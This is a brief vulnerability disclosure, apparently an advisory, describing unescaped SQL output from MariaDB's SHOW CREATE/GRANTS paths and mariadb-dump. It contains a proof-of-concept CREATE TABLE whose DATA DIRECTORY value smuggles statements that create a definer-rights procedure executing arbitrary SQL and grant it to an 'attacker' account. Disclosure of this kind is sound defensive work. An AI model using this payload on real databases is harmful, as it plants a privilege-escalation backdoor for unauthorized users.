`SHOW [CREATE|GRANTS] ...` / `mariadb-dump` Unescaped SQL Generation

MariaDB has several `SHOW ...` paths that output SQL built from stored metadata that is not appropriately escaped.

CREATE TABLE poc (
  id INT
)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped/'';CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;GRANT EXECUTE ON PROCEDURE vf_exec TO ''attacker''@''localhost''; -- ';